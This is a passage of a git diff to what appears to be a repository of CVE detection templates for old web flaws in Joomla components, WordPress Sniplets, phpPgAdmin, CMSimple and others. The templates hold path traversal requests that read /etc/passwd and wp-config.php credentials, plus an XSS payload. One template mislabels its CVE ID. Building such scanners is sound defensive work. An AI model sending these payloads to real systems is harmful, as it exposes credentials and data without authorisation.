CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 cve-id: CVE-2007-4504 - tags: cve,cve2007,joomla,lfi + cwe-id: CWE-22 + tags: lfi,edb,cve,cve2007,joomla requests: - method: GET @@ -27,3 +32,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/06 diff --git a/cves/2007/CVE-2007-4556.yaml b/cves/2007/CVE-2007-4556.yaml index ab30957300..7bae9bf531 100644 --- a/cves/2007/CVE-2007-4556.yaml +++ b/cves/2007/CVE-2007-4556.yaml @@ -5,11 +5,12 @@ info: author: pikpikcu severity: critical description: | - Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for"m input beginning with a "%{" sequence and ending with a "}" character. + Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for"m input beginning with a "%{" sequence and ending with a "}" character. reference: - https://www.guildhab.top/?p=2326 - https://nvd.nist.gov/vuln/detail/CVE-2007-4556 - https://cwiki.apache.org/confluence/display/WW/S2-001 + - http://forums.opensymphony.com/ann.jspa?annID=54 classification: cve-id: CVE-2007-4556 tags: cve,cve2007,apache,rce,struts diff --git a/cves/2007/CVE-2007-5728.yaml b/cves/2007/CVE-2007-5728.yaml index 2adfe607de..f9b21ef140 100644 --- a/cves/2007/CVE-2007-5728.yaml +++ b/cves/2007/CVE-2007-5728.yaml @@ -1,17 +1,21 @@ id: CVE-2007-5728 info: - name: phpPgAdmin 4.1.1 - 'Redirect.php' Cross-Site Scripting + name: phpPgAdmin <=4.1.1 - Cross-Site Scripting author: dhiyaneshDK severity: medium - description: Cross-site scripting (XSS) vulnerability in phpPgAdmin 3.5 to 4.1.1, and possibly 4.1.2, allows remote attackers to inject arbitrary web script or HTML via certain input available in PHP_SELF in (1) redirect.php, possibly related to (2) login.php, different vectors than CVE-2007-2865. + description: phpPgAdmin 3.5 to 4.1.1, and possibly 4.1.2, is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via certain input available in PHP_SELF in (1) redirect.php, possibly related to (2) login.php, which are different vectors than CVE-2007-2865. reference: - https://www.exploit-db.com/exploits/30090 + - http://lists.grok.org.uk/pipermail/full-disclosure/2007-May/063617.html + - http://web.archive.org/web/20210130131735/https://www.securityfocus.com/bid/24182/ + - http://web.archive.org/web/20161220160642/http://secunia.com/advisories/25446/ + - https://nvd.nist.gov/vuln/detail/CVE-2007-5728 classification: cve-id: CVE-2007-5728 metadata: shodan-query: http.title:"phpPgAdmin" - tags: cve,cve2007,xss,pgadmin,phppgadmin + tags: cve,cve2007,xss,pgadmin,phppgadmin,edb requests: - method: GET @@ -33,3 +37,5 @@ requests: part: header words: - "text/html" + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2008/CVE-2008-1059.yaml b/cves/2008/CVE-2008-1059.yaml new file mode 100644 index 0000000000..5d90733c1f --- /dev/null +++ b/cves/2008/CVE-2008-1059.yaml @@ -0,0 +1,39 @@ +id: CVE-2008-1059 + +info: + name: WordPress Sniplets 1.1.2 - Local File Inclusion + author: dhiyaneshDK + severity: high + description: | + PHP remote file inclusion vulnerability in modules/syntax_highlight.php in the Sniplets 1.1.2 and 1.2.2 plugin for WordPress allows remote attackers to execute arbitrary PHP code via a URL in the libpath parameter. + reference: + - https://www.exploit-db.com/exploits/5194 + - https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881 + - https://nvd.nist.gov/vuln/detail/CVE-2008-1059 + - https://web.archive.org/web/20090615225856/http://secunia.com/advisories/29099/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2008-1061 + cwe-id: CWE-22 + tags: lfi,cve,cve2008,wordpress,wp-plugin,wp,sniplets,edb,wpscan + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=../../../../wp-config.php' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "DB_NAME" + - "DB_PASSWORD" + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/29 diff --git a/cves/2008/CVE-2008-1061.yaml b/cves/2008/CVE-2008-1061.yaml new file mode 100644 index 0000000000..3e17bab6ba --- /dev/null +++ b/cves/2008/CVE-2008-1061.yaml @@ -0,0 +1,40 @@ +id: CVE-2008-1061 + +info: + name: WordPress Sniplets <=1.2.2 - Cross-Site Scripting + author: dhiyaneshDK + severity: medium + description: | + WordPress Sniplets 1.1.2 and 1.2.2 plugin contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the text parameter to warning.php, notice.php, and inset.php in view/sniplets/, and possibly modules/execute.php; via the url parameter to view/admin/submenu.php; and via the page parameter to view/admin/pager.php. + reference: + - https://www.exploit-db.com/exploits/5194 + - https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881 + - https://nvd.nist.gov/vuln/detail/CVE-2008-1061 + - http://secunia.com/advisories/29099 + classification: + cve-id: CVE-2008-1061 + tags: xss,wp-plugin,wp,edb,wpscan,cve,cve2008,wordpress,sniplets + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + + +# Enhanced by mp on 2022/08/31 diff --git a/cves/2008/CVE-2008-2398.yaml b/cves/2008/CVE-2008-2398.yaml index d82031abc8..1f91e0a6b6 100644 --- a/cves/2008/CVE-2008-2398.yaml +++ b/cves/2008/CVE-2008-2398.yaml @@ -1,12 +1,16 @@ id: CVE-2008-2398 info: - name: AppServ Open Project 2.5.10 and earlier XSS + name: AppServ Open Project <=2.5.10 - Cross-Site Scripting author: unstabl3 severity: medium - description: Cross-site scripting (XSS) vulnerability in index.php in AppServ Open Project 2.5.10 and earlier allows remote attackers to inject arbitrary web script or HTML via the appservlang parameter. + description: AppServ Open Project 2.5.10 and earlier contains a cross-site scripting vulnerability in index.php which allows remote attackers to inject arbitrary web script or HTML via the appservlang parameter. reference: - https://exchange.xforce.ibmcloud.com/vulnerabilities/42546 + - http://web.archive.org/web/20210121181851/https://www.securityfocus.com/bid/29291/ + - http://web.archive.org/web/20140724110348/http://secunia.com/advisories/30333/ + - http://securityreason.com/securityalert/3896 + - https://nvd.nist.gov/vuln/detail/CVE-2008-2398 classification: cve-id: CVE-2008-2398 tags: cve,cve2008,xss @@ -30,3 +34,5 @@ requests: words: - "text/html" part: header + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2008/CVE-2008-2650.yaml b/cves/2008/CVE-2008-2650.yaml index 2c186cd941..727eba9f89 100644 --- a/cves/2008/CVE-2008-2650.yaml +++ b/cves/2008/CVE-2008-2650.yaml @@ -1,29 +1,40 @@ -id: CVE-2008-2650 +id: CVE-2008-2650 -info: - name: CMSimple 3.1 - Local File Inclusion - author: pussycat0x - severity: high - description: | - Directory traversal vulnerability in cmsimple/cms.php in CMSimple 3.1, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the sl parameter to index.php. NOTE: this can be leveraged for remote file execution by including adm.php and then invoking the upload action. NOTE: on 20080601, the vendor patched 3.1 without changing the version number. - reference: https://www.exploit-db.com/exploits/5700 - classification: - cve-id: CVE-2008-2650 - tags: cve,cve2008,lfi +info: + name: CMSimple 3.1 - Local File Inclusion + author: pussycat0x + severity: high + description: | + CMSimple 3.1 is susceptible to local file inclusion via cmsimple/cms.php when register_globals is enabled which allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the sl parameter to index.php. NOTE: this can be leveraged for remote file execution by including adm.php and then invoking the upload action. NOTE: on 20080601, the vendor patched 3.1 without changing the version number. + reference: + - http://www.cmsimple.com/forum/viewtopic.php?f=2&t=17 + - http://web.archive.org/web/20210121182016/https://www.securityfocus.com/bid/29450/ + - http://web.archive.org/web/20140729144732/http://secunia.com:80/advisories/30463 + - https://nvd.nist.gov/vuln/detail/CVE-2008-2650 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 + cve-id: CVE-2008-2650 + cwe-id: CWE-22 + tags: cve,cve2008,lfi,cmsimple -requests: - - raw: - - | - GET /index.php?sl=../../../../../../../etc/passwd%00 HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "root:.*:0:0:" - part: body +requests: + - raw: + - | + GET /index.php?sl=../../../../../../../etc/passwd%00 HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + matchers-condition: and + matchers: + + - type: regex + part: body + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/06 diff --git a/cves/2008/CVE-2008-4668.yaml b/cves/2008/CVE-2008-4668.yaml index b021243349..9a7dd52117 100644 --- a/cves/2008/CVE-2008-4668.yaml +++ b/cves/2008/CVE-2008-4668.yaml @@ -1,16 +1,19 @@ id: CVE-2008-4668 info: - name: Joomla! Component imagebrowser 0.1.5 rc2 - Directory Traversal + name: Joomla! Image Browser 0.1.5 rc2 - Local File Inclusion author: daffainfo severity: high - description: Directory traversal vulnerability in the Image Browser (com_imagebrowser) 0.1.5 component for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the folder parameter to index.php. + description: Joomla! Image Browser 0.1.5 rc2 is susceptible to local file inclusion via com_imagebrowser which could allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the folder parameter to index.php. reference: - https://www.exploit-db.com/exploits/6618 - https://www.cvedetails.com/cve/CVE-2008-4668 + - http://web.archive.org/web/20210121183742/https://www.securityfocus.com/bid/31458/ + - http://securityreason.com/securityalert/4464 + - https://nvd.nist.gov/vuln/detail/CVE-2008-4668 classification: cve-id: CVE-2008-4668 - tags: cve,cve2008,joomla,lfi + tags: cve,cve2008,joomla,lfi,edb requests: - method: GET @@ -27,3 +30,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/06 diff --git a/cves/2008/CVE-2008-4764.yaml b/cves/2008/CVE-2008-4764.yaml index c200752dfd..4b90a27a79 100644 --- a/cves/2008/CVE-2008-4764.yaml +++ b/cves/2008/CVE-2008-4764.yaml @@ -1,17 +1,22 @@ id: CVE-2008-4764 info: - name: Joomla! Component com_extplorer 2.0.0 RC2 - Directory Traversal + name: Joomla! <=2.0.0 RC2 - Local File Inclusion author: daffainfo severity: high - description: Directory traversal vulnerability in the eXtplorer module (com_extplorer) 2.0.0 RC2 and earlier in Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the dir parameter in - a show_error action. + description: Joomla! 2.0.0 RC2 and earlier are susceptible to local file inclusion in the eXtplorer module (com_extplorer) that allows remote attackers to read arbitrary files via a .. (dot dot) in the dir parameter in a show_error action. reference: - https://www.exploit-db.com/exploits/5435 - https://www.cvedetails.com/cve/CVE-2008-4764 + - http://web.archive.org/web/20210121181347/https://www.securityfocus.com/bid/28764/ + - https://exchange.xforce.ibmcloud.com/vulnerabilities/41873 + - https://nvd.nist.gov/vuln/detail/CVE-2008-4764 classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 cve-id: CVE-2008-4764 - tags: cve,cve2008,joomla,lfi + cwe-id: CWE-22 + tags: edb,cve,cve2008,joomla,lfi requests: - method: GET @@ -28,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/06 diff --git a/cves/2008/CVE-2008-5587.yaml b/cves/2008/CVE-2008-5587.yaml index ebf602921e..3e5a2f3635 100644 --- a/cves/2008/CVE-2008-5587.yaml +++ b/cves/2008/CVE-2008-5587.yaml @@ -1,17 +1,21 @@ id: CVE-2008-5587 info: - name: phpPgAdmin 4.2.1 - '_language' Local File Inclusion + name: phpPgAdmin <=4.2.1 - Local File Inclusion author: dhiyaneshDK severity: medium - description: Directory traversal vulnerability in libraries/lib.inc.php in phpPgAdmin 4.2.1 and earlier, when register_globals is enabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the _language parameter to index.php. + description: phpPgAdmin 4.2.1 is vulnerable to local file inclusion in libraries/lib.inc.php when register globals is enabled. Remote attackers can read arbitrary files via a .. (dot dot) in the _language parameter to index.php. reference: - https://www.exploit-db.com/exploits/7363 + - http://web.archive.org/web/20210121184707/https://www.securityfocus.com/bid/32670/ + - http://web.archive.org/web/20160520063306/http://secunia.com/advisories/33014 + - http://web.archive.org/web/20151104173853/http://secunia.com/advisories/33263 + - https://nvd.nist.gov/vuln/detail/CVE-2008-5587 classification: cve-id: CVE-2008-5587 metadata: shodan-query: http.title:"phpPgAdmin" - tags: cve2008,lfi,phppgadmin + tags: cve,cve2008,lfi,phppgadmin,edb requests: - method: GET @@ -28,3 +32,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/22 diff --git a/cves/2008/CVE-2008-6080.yaml b/cves/2008/CVE-2008-6080.yaml index 075e57a751..7a5240ac84 100644 --- a/cves/2008/CVE-2008-6080.yaml +++ b/cves/2008/CVE-2008-6080.yaml @@ -1,16 +1,22 @@ id: CVE-2008-6080 info: - name: Joomla! Component ionFiles 4.4.2 - File Disclosure + name: Joomla! ionFiles 4.4.2 - Local File Inclusion author: daffainfo severity: high - description: Directory traversal vulnerability in download.php in the ionFiles (com_ionfiles) 4.4.2 component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter. + description: Joomla! ionFiles 4.4.2 is susceptible to local file inclusion in download.php in the ionFiles (com_ionfiles) that allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter. reference: - https://www.exploit-db.com/exploits/6809 - https://www.cvedetails.com/cve/CVE-2008-6080 + - http://web.archive.org/web/20140804231654/http://secunia.com/advisories/32377/ + - http://web.archive.org/web/20210121184101/https://www.securityfocus.com/bid/31877/ + - https://nvd.nist.gov/vuln/detail/CVE-2008-6080 classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 cve-id: CVE-2008-6080 - tags: cve,cve2008,joomla,lfi + cwe-id: CWE-22 + tags: edb,cve,cve2008,joomla,lfi requests: - method: GET @@ -27,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/06 diff --git a/cves/2008/CVE-2008-6172.yaml b/cves/2008/CVE-2008-6172.yaml index 9b3280e643..362a408e8f 100644 --- a/cves/2008/CVE-2008-6172.yaml +++ b/cves/2008/CVE-2008-6172.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/6817 - https://www.cvedetails.com/cve/CVE-2008-6172 + - http://web.archive.org/web/20140804232841/http://secunia.com/advisories/32367/ + - http://web.archive.org/web/20210121184108/https://www.securityfocus.com/bid/31892/ classification: cve-id: CVE-2008-6172 - tags: cve,cve2008,joomla,lfi + tags: cve2008,joomla,lfi,edb,cve requests: - method: GET diff --git a/cves/2008/CVE-2008-6222.yaml b/cves/2008/CVE-2008-6222.yaml index b5447a9956..dd11e3ad7a 100644 --- a/cves/2008/CVE-2008-6222.yaml +++ b/cves/2008/CVE-2008-6222.yaml @@ -1,16 +1,22 @@ id: CVE-2008-6222 info: - name: Joomla! Component ProDesk 1.0/1.2 - Local File Inclusion + name: Joomla! ProDesk 1.0/1.2 - Local File Inclusion author: daffainfo severity: high - description: Directory traversal vulnerability in the Pro Desk Support Center (com_pro_desk) component 1.0 and 1.2 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the include_file parameter to index.php. + description: Joomla! Pro Desk Support Center (com_pro_desk) component 1.0 and 1.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the include_file parameter to index.php. reference: - https://www.exploit-db.com/exploits/6980 - https://www.cvedetails.com/cve/CVE-2008-6222 + - http://web.archive.org/web/20111223225601/http://secunia.com/advisories/32523/ + - http://web.archive.org/web/20210121184244/https://www.securityfocus.com/bid/32113/ + - https://nvd.nist.gov/vuln/detail/CVE-2008-6222 classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 cve-id: CVE-2008-6222 - tags: cve,cve2008,joomla,lfi + cwe-id: CWE-22 + tags: cve2008,joomla,lfi,edb,cve requests: - method: GET @@ -27,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/06 diff --git a/cves/2008/CVE-2008-6668.yaml b/cves/2008/CVE-2008-6668.yaml index ed5ce42391..781876d1ea 100644 --- a/cves/2008/CVE-2008-6668.yaml +++ b/cves/2008/CVE-2008-6668.yaml @@ -1,16 +1,21 @@ id: CVE-2008-6668 info: - name: nweb2fax <= 0.2.7 Directory Traversal + name: nweb2fax <=0.2.7 - Local File Inclusion author: geeknik severity: high - description: Multiple directory traversal vulnerabilities in nweb2fax 0.2.7 and earlier allow remote attackers to read arbitrary files via .. in the id parameter to comm.php and var_filename parameter to viewrq.php. + description: nweb2fax 0.2.7 and earlier allow remote attackers to read arbitrary files via the id parameter submitted to comm.php and the var_filename parameter submitted to viewrq.php. reference: - https://www.exploit-db.com/exploits/5856 + - http://web.archive.org/web/20210130035550/https://www.securityfocus.com/bid/29804 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/43173 - https://nvd.nist.gov/vuln/detail/CVE-2008-6668 classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 cve-id: CVE-2008-6668 - tags: nweb2fax,lfi,cve,cve2008,traversal + cwe-id: CWE-22 + tags: cve2008,nweb2fax,lfi,traversal,edb,cve requests: - method: GET @@ -20,10 +25,14 @@ requests: matchers-condition: and matchers: - - type: status - status: - - 200 + - type: regex part: body regex: - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/06 diff --git a/cves/2009/CVE-2009-0545.yaml b/cves/2009/CVE-2009-0545.yaml index 53b6417ad6..3103602795 100644 --- a/cves/2009/CVE-2009-0545.yaml +++ b/cves/2009/CVE-2009-0545.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/8023 - https://nvd.nist.gov/vuln/detail/CVE-2009-0545 + - http://www.zeroshell.net/eng/announcements/ + - http://www.ikkisoft.com/stuff/LC-2009-01.txt classification: cve-id: CVE-2009-0545 - tags: cve,cve2009,zeroshell,kerbynet,rce + tags: edb,cve,cve2009,zeroshell,kerbynet,rce requests: - method: GET diff --git a/cves/2009/CVE-2009-0932.yaml b/cves/2009/CVE-2009-0932.yaml index 0bf0d808c8..747fd013f0 100644 --- a/cves/2009/CVE-2009-0932.yaml +++ b/cves/2009/CVE-2009-0932.yaml @@ -1,16 +1,21 @@ id: CVE-2009-0932 info: - name: Horde - Horde_Image::factory driver Argument LFI + name: Horde/Horde Groupware - Local File Inclusion author: pikpikcu severity: high - description: Directory traversal vulnerability in framework/Image/Image.php in Horde before 3.2.4 and 3.3.3 and Horde Groupware before 1.1.5 allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the Horde_Image driver name. + description: Horde before 3.2.4 and 3.3.3 and Horde Groupware before 1.1.5 are susceptible to local file inclusion in framework/Image/Image.php because it allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the Horde_Image driver name. reference: - https://www.exploit-db.com/exploits/16154 + - http://cvs.horde.org/co.php/groupware/docs/groupware/CHANGES?r=1.28.2.5 + - http://web.archive.org/web/20161228102217/http://secunia.com/advisories/33695 - https://nvd.nist.gov/vuln/detail/CVE-2009-0932?cpeVersion=2.2 classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 cve-id: CVE-2009-0932 - tags: cve,cve2009,horde,lfi,traversal + cwe-id: CWE-22 + tags: cve,cve2009,horde,lfi,traversal,edb requests: - method: GET @@ -27,3 +32,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/06 diff --git a/cves/2009/CVE-2009-1151.yaml b/cves/2009/CVE-2009-1151.yaml index 49485fc6a8..366b3af91b 100644 --- a/cves/2009/CVE-2009-1151.yaml +++ b/cves/2009/CVE-2009-1151.yaml @@ -1,16 +1,22 @@ id: CVE-2009-1151 info: - name: PhpMyAdmin Scripts/setup.php Deserialization Vulnerability + name: PhpMyAdmin Scripts - Remote Code Execution author: princechaddha - severity: high - description: Setup script used to create PhpMyAdmin configurations can be fooled by using a crafted POST request to include arbitrary PHP code in the generated configuration file. Combined with the ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code. + severity: critical + description: PhpMyAdmin Scripts 2.11.x before 2.11.9.5 and 3.x before 3.1.3.1 are susceptible to a remote code execution in setup.php that allows remote attackers to inject arbitrary PHP code into a configuration file via the save action. Combined with the ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code. reference: - https://www.phpmyadmin.net/security/PMASA-2009-3/ - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433 + - http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin/branches/MAINT_2_11_9/phpMyAdmin/scripts/setup.php?r1=11514&r2=12301&pathrev=12301 + - http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php + - https://nvd.nist.gov/vuln/detail/CVE-2009-1151 classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10 cve-id: CVE-2009-1151 - tags: cve,cve2009,phpmyadmin,rce,deserialization + cwe-id: CWE-77 + tags: deserialization,kev,vulhub,cve,cve2009,phpmyadmin,rce requests: - raw: @@ -32,3 +38,5 @@ requests: - type: regex regex: - "root:.*:0:0:" + +# Enhanced by mp on 2022/07/06 diff --git a/cves/2009/CVE-2009-1496.yaml b/cves/2009/CVE-2009-1496.yaml index 4ab863864d..66d11ba7e3 100644 --- a/cves/2009/CVE-2009-1496.yaml +++ b/cves/2009/CVE-2009-1496.yaml @@ -1,16 +1,21 @@ id: CVE-2009-1496 info: - name: Joomla! Component Cmimarketplace - 'viewit' Directory Traversal + name: Joomla! Cmimarketplace 0.1 - Local File Inclusion author: daffainfo severity: high - description: Directory traversal vulnerability in the Cmi Marketplace (com_cmimarketplace) component 0.1 for Joomla! allows remote attackers to list arbitrary directories via a .. (dot dot) in the viewit parameter to index.php. + description: | + Joomla! Cmimarketplace 0.1 is susceptible to local file inclusion because com_cmimarketplace allows remote attackers to list arbitrary directories via a .. (dot dot) in the viewit parameter to index.php. reference: - https://www.exploit-db.com/exploits/8367 - - https://www.cvedetails.com/cve/CVE-2009-1496 + - http://web.archive.org/web/20210121190149/https://www.securityfocus.com/bid/34431/ + - https://nvd.nist.gov/vuln/detail/CVE-2009-1496 classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 cve-id: CVE-2009-1496 - tags: cve,cve2009,joomla,lfi + cwe-id: CWE-22 + tags: joomla,lfi,edb,cve,cve2009 requests: - method: GET @@ -27,3 +32,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/06 diff --git a/cves/2009/CVE-2009-1558.yaml b/cves/2009/CVE-2009-1558.yaml index 8c6358eda1..455bf0359c 100644 --- a/cves/2009/CVE-2009-1558.yaml +++ b/cves/2009/CVE-2009-1558.yaml @@ -1,15 +1,22 @@ id: CVE-2009-1558 info: - name: Linksys WVC54GCA 1.00R22/1.00R24 (Wireless-G) - Directory Traversal + name: Cisco Linksys WVC54GCA 1.00R22/1.00R24 - Local File Inclusion author: daffainfo severity: high - description: Directory traversal vulnerability in adm/file.cgi on the Cisco Linksys WVC54GCA wireless video camera with firmware 1.00R22 and 1.00R24 allows remote attackers to read arbitrary files via a %2e. (encoded dot dot) or an absolute pathname in the next_file parameter. + description: Cisco Linksys WVC54GCA 1.00R22/1.00R24 is susceptible to local file inclusion in adm/file.cgi because it allows remote attackers to read arbitrary files via a %2e. (encoded dot dot) or an absolute pathname in the next_file parameter. reference: - https://www.exploit-db.com/exploits/32954 + - https://web.archive.org/web/20210119151410/http://www.securityfocus.com/bid/34713 + - http://www.vupen.com/english/advisories/2009/1173 + - http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/ + - https://nvd.nist.gov/vuln/detail/CVE-2009-1558 classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 cve-id: CVE-2009-1558 - tags: cve,cve2009,iot,lfi,linksys,camera,cisco,firmware,traversal + cwe-id: CWE-22 + tags: cve,iot,linksys,camera,traversal,cve2009,lfi,cisco,firmware,edb requests: - method: GET @@ -25,3 +32,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/06 diff --git a/cves/2009/CVE-2009-1872.yaml b/cves/2009/CVE-2009-1872.yaml index 96c0351e1a..bdc9a7e4fd 100644 --- a/cves/2009/CVE-2009-1872.yaml +++ b/cves/2009/CVE-2009-1872.yaml @@ -1,19 +1,22 @@ id: CVE-2009-1872 info: - name: Adobe Coldfusion 8 linked XSS vulnerabilies + name: Adobe Coldfusion <=8.0.1 - Cross-Site Scripting author: princechaddha severity: medium - description: Multiple cross-site scripting (XSS) vulnerabilities in Adobe ColdFusion Server 8.0.1, 8, and earlier allow remote attackers to inject arbitrary web script or HTML via (1) the startRow parameter to administrator/logviewer/searchlog.cfm, or the query string to (2) wizards/common/_logintowizard.cfm, (3) wizards/common/_authenticatewizarduser.cfm, or (4) administrator/enter.cfm. + description: Adobe ColdFusion Server 8.0.1 and earlier contain multiple cross-site scripting vulnerabilities which allow remote attackers to inject arbitrary web script or HTML via (1) the startRow parameter to administrator/logviewer/searchlog.cfm, or the query string to (2) wizards/common/_logintowizard.cfm, (3) wizards/common/_authenticatewizarduser.cfm, or (4) administrator/enter.cfm. reference: - - https://www.securityfocus.com/archive/1/505803/100/0/threaded + - https://web.archive.org/web/20201208121904/https://www.securityfocus.com/archive/1/505803/100/0/threaded - https://www.tenable.com/cve/CVE-2009-1872 + - http://www.adobe.com/support/security/bulletins/apsb09-12.html + - http://www.dsecrg.com/pages/vul/show.php?id=122 + - https://nvd.nist.gov/vuln/detail/CVE-2009-1872 classification: cve-id: CVE-2009-1872 metadata: - verified: true shodan-query: http.component:"Adobe ColdFusion" - tags: cve,cve2009,adobe,xss,coldfusion + verified: "true" + tags: cve,cve2009,adobe,xss,coldfusion,tenable requests: - method: GET @@ -35,3 +38,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2009/CVE-2009-2015.yaml b/cves/2009/CVE-2009-2015.yaml index 687b6ba466..a474ff1b28 100644 --- a/cves/2009/CVE-2009-2015.yaml +++ b/cves/2009/CVE-2009-2015.yaml @@ -1,16 +1,22 @@ id: CVE-2009-2015 info: - name: Joomla! Component MooFAQ (com_moofaq) - Local File Inclusion + name: Joomla! MooFAQ 1.0 - Local File Inclusion author: daffainfo severity: high - description: Directory traversal vulnerability in includes/file_includer.php in the Ideal MooFAQ (com_moofaq) component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter. + description: Joomla! Ideal MooFAQ 1.0 via com_moofaq allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter (local file inclusion). reference: - https://www.exploit-db.com/exploits/8898 - https://www.cvedetails.com/cve/CVE-2009-2015 + - http://web.archive.org/web/20210121191105/https://www.securityfocus.com/bid/35259/ + - http://www.vupen.com/english/advisories/2009/1530 + - https://nvd.nist.gov/vuln/detail/CVE-2009-2015 classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 cve-id: CVE-2009-2015 - tags: cve,cve2009,joomla,lfi + cwe-id: CWE-22 + tags: joomla,lfi,edb,cve,cve2009 requests: - method: GET @@ -27,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/06 diff --git a/cves/2009/CVE-2009-2100.yaml b/cves/2009/CVE-2009-2100.yaml index f17696552a..10d0f59046 100644 --- a/cves/2009/CVE-2009-2100.yaml +++ b/cves/2009/CVE-2009-2100.yaml @@ -1,16 +1,22 @@ id: CVE-2009-2100 info: - name: Joomla! Component com_Projectfork 2.0.10 - Local File Inclusion + name: Joomla! JoomlaPraise Projectfork 2.0.10 - Local File Inclusion author: daffainfo severity: high - description: Directory traversal vulnerability in the JoomlaPraise Projectfork (com_projectfork) component 2.0.10 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the section parameter to index.php. + description: Joomla! JoomlaPraise Projectfork (com_projectfork) 2.0.10 allows remote attackers to read arbitrary files via local file inclusion in the section parameter to index.php. reference: - https://www.exploit-db.com/exploits/8946 - https://www.cvedetails.com/cve/CVE-2009-2100 + - http://web.archive.org/web/20210121191226/https://www.securityfocus.com/bid/35378/ + - https://nvd.nist.gov/vuln/detail/CVE-2009-2100 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 cve-id: 